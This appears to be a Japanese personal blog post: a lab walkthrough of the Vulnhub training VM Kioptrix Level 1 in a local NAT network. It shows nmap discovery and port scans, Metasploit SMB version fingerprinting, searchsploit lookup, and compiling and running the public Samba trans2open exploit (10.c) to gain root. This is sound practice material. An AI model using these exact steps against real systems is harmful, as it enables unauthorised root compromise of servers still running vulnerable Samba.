Vulnhubをやってみる!Kioptix Level 1編

セキュリティ

今年の目標の達成のため、手始めにVulnhubを勉強しようと思います。

最近年齢のせいか物忘れがひどいので、メモとして実施した内容や使用したコマンド等をブログに残します。

同じように攻略したい人は参考にしていただければと思います。

攻略するサーバについて

このブログを参考にまずは「Beginner friendly」のサーバを攻略していこうと思います。

今回はその中で一番最初にでている「Kioptrix: Level 1」です。

このVMについてはここからダウンロードできますので、興味がある方はどうぞ!

私は「VMware Workstation」を使用しているのですが、VMをダウンロードして、「よし!やるか!」と思った際になぜかネットワーク接続を「NAT」にしても強制的に「ブリッジ」になってしまいました。

結局直接「.vmx」ファイルを書き換えてNATにできるようにしました。
※結構調べたりして時間かかった・・・

 

ブリッジでもいいんですが、その時カフェで作業していたので、探索するわけにもいかず・・・

最終的にはちゃんとNATでできたので、OKです。

「Kali Linux」を使用して、該当のサーバを攻略していきます。

サーバの発見

まずはサーバを見つけます。

NATで接続しているので、同じNWにいることはわかっています。

まずはKaliのIPアドレスを確認します。

 

# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b0:71:d0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.119.129/24 brd 192.168.119.255 scope global dynamic noprefixroute eth0
       valid_lft 950sec preferred_lft 950sec
    inet6 fe80::20c:29ff:feb0:71d0/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

192.168.119.129であることがわかりました。

 

次に該当のサーバを探索します。

nmapのヘルプ(nmap -h)を確認すると、以下のように「HOST DISCOVERY」の項目があります。

 

HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host

 

今回は「-sn」(Ping Scan)を使用します。

 

# nmap -sn 192.168.119.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:08 EST
Nmap scan report for 192.168.119.1
Host is up (0.00036s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.119.2
Host is up (0.00030s latency).
MAC Address: 00:50:56:FE:3C:58 (VMware)
Nmap scan report for 192.168.119.130
Host is up (0.00023s latency).
MAC Address: 00:0C:29:A4:4C:39 (VMware)
Nmap scan report for 192.168.119.254
Host is up (0.00030s latency).
MAC Address: 00:50:56:F1:A4:00 (VMware)
Nmap scan report for 192.168.119.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.23 seconds

 

192.168.119.1:ホスト

192.168.119.2:ゲートウェイ(NATデバイス)

192.168.119.254:DHCP サーバ

192.168.119.129:Kali Linux

ですので、必然的に残りの「192.168.119.130」が今回の対象IPですね。

これに対してスキャンしていきます。

オープンポートの確認

定番ですが、このままnmapで確認していきます。

まずはフルポートスキャンをしていきます。

 

# nmap -p- 192.168.119.130
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:15 EST
Nmap scan report for 192.168.119.130
Host is up (0.0016s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
443/tcp  open  https
1024/tcp open  kdm
MAC Address: 00:0C:29:A4:4C:39 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds

 

次に各サービスの詳細情報を取得するため、「-A」オプションをつけて、空いているポートのみスキャンします。

結果は以下のようになりました。

 

22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_ssl-date: 2020-12-28T07:28:14+00:00; +1h01m50s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:A4:4C:39 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: 1h01m49s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC:  (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.119.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

 

ポート139で「Samba」が動いているようですが、バージョンが出ていません。

metasploitにバージョンを確認するモジュールがあったのでそれで確認してみます。

 

metasploitの実行

まずはSMBのバージョンを確認するモジュールの調査です。

以下のようにSMBバージョンを確認するモジュールがあります。ハイライトの箇所(3)です。

これを使用していきます。

 

msf6 > use auxiliary/scanner/smb/smb_version
#①使用するモジュールを選択
msf6 auxiliary(scanner/smb/smb_version) > show options
#②オプションを確認
Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.119.130
#③RHOSTSを設定
RHOSTS => 192.168.119.130
msf6 auxiliary(scanner/smb/smb_version) > show options
#④実行する前に最終確認
Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.119.130  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS  1                yes       The number of concurrent threads (max one per host)

やっていることは以下です。コードの箇所にもコメントで記載しています。

①useで使用するモジュールを選択

②オプションを確認(RHOSTSを入力する必要あり)

③RHOSTSに対象のIPアドレスをset

④ちゃんと設定できたか確認(大事!)

これで準備はOKなのでrunで実行します。

結果としては以下の通り、「Samba 2.2.1a」だろうとのことです。

次に取得したバージョンで使用できる脆弱性がないか調査します。

攻撃コードの調査

いろいろ調査した結果、KaliLinuxに用意されているseachsploitを使用しました。

 

# searchsploit "Samba 2.2.1a"
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)                                                               | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution                                                                          | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow                                                                                      | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                              | linux_x86/dos/36741.py
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

上記のようになりました。

「Samba < 2.2.8 (Linux/BSD) – Remote Code Execution」がいい感じなので、こちらを使用します。

結果にPathが記載されていますので、このコードを取得してきます。

フルPathは「/usr/share/exploitdb/exploits/multiple/remote/10.c」になります。

「cp」コマンド等で任意のフォルダまで持ってこれたら、gccコマンドを使用してコンパイルします。

今回は適当に「samba10」としています。

# gcc 10.c -o samba10

コンパイルができたら、まずは動かしてみます。

 

# ./samba10
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./samba10 [-bBcCdfprsStv] [host]

-b    bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B        bruteforce steps (default = 300)
-c  connectback ip address
-C  max childs for scan/bruteforce mode (default = 40)
-d       bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p        port to attack (default = 139)
-r         return address
-s              scan mode (random)
-S     scan mode
-t        presets (0 for a list)
-v              verbose mode

オプションを指定する必要があるようです。

いろいろ試してみて、「./samba10 -b 0 -p 139 192.168.119.130」で動かしました。
※「./samba10 -b 0 192.168.119.130」でも動きます。最低でも「-b」のオプションは必要なようです。

以下のように成功し、「whoami」コマンドで権限を確認したところ、「root」であることが確認できたので、Hack成功です!

感想

記事にするのにものすごい時間がかかった。

しかも記事自体も長くなってしまったので、二つに分ければよかったですね・・・

mod_sslの脆弱性を使用した攻略方法もあるので、それも元気があればやりたいなと思います。
※ソースコードをいじらなきゃいけないので、二の足を踏んでいました・・・

他のレベルも含めコツコツとやっていきたいと思います。

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

コメント